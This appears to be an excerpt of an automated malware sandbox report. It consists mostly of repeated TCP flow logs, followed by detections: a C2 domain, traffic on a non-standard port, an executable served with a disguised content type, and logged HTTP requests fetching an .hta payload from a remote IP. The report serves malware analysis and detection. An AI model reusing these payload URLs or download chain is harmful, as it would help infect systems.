Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 91.92.245.100:80 -> 192.168.2.22:49166
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 188.114.96.3:80
Source: global traffic TCP traffic: 192.168.2.22:49166 -> 91.92.245.100:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 107.173.143.46:80
Source: global traffic TCP traffic: 107.173.143.46:80 -> 192.168.2.22:49167

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: unifrieghtmovers.com
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.22:49168 -> 23.95.60.82:2558
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 26 Jul 2024 07:30:07 GMTServer: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28Last-Modified: Fri, 26 Jul 2024 06:04:08 GMTETag: "28ca00-61e204785c600"Accept-Ranges: bytesContent-Length: 2673152Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/lnkData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 60 0f d7 18 24 6e b9 4b 24 6e b9 4b 24 6e b9 4b e7 ed ba 4a 2d 6e b9 4b e7 ed bd 4a 28 6e b9 4b e7 ed bc 4a 0a 6e b9 4b 2d 16 2a 4b 2a 6e b9 4b 6f 16 b8 4a 2d 6e b9 4b 24 6e b8 4b dc 6e b9 4b e5 12 ba 4a 2f 6e b9 4b e5 12 bc 4a 60 6e b9 4b 24 6e b9 4b 25 6e b9 4b 37 ea b9 4a 25 6e b9 4b 37 ea 46 4b 25 6e b9 4b 37 ea bb 4a 25 6e b9 4b 52 69 63 68 24 6e b9 4b 00 00 00 00 00 00 00 00 50 45 00 00 64 86 08 00 6d d0 a2 66 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 28 00 84 13 00 00 42 15 00 00 f8 05 00 c0 8e 06 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2f 00 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 f0 dd 25 00 58 00 00 00 48 de 25 00 dc 00 00 00 00 30 28 00 a0 93 07 00 00 f0 26 00 d8 38 01 00 00 00 00 00 00 00 00 00 00 d0 2f 00 3c 06 00 00 50 fd 22 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 ff 22 00 28 00 00 00 10 fc 22 00 40 01 00 00 00 00 00 00 00 00 00 00 00 b0 19 00 30 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 68 10 07 00 00 10 00 00 00 12 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 6d 61 6e 61 67 65 64 b8 71 0c 00 00 30 07 00 00 72 0c 00 00 16 07 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 68 79 64 72 61 74 65 64 60 f7 05 00 00 b0 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 64 61 74 61 00 00 26 48 0c 00 00 b0 19 00 00 4a 0c 00 00 88 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 10 e9 00 00 00 00 26 00 00 22 00 00 00 d2 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 d8 38 01 00 00 f0 26 00 00 3a 01 00 00 f4 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 a0 93 07 00 00 30 28 00 00 94 07 00 00 2e 21 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 3c 06 00 00 00 d0 2f 00 00 08 00 00 00 c2 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View IP Address: 188.114.96.3 188.114.96.3
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /jjJsPX HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xampp/ebcd/eb/gdfvr.hta HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 91.92.245.100Connection: Keep-Alive
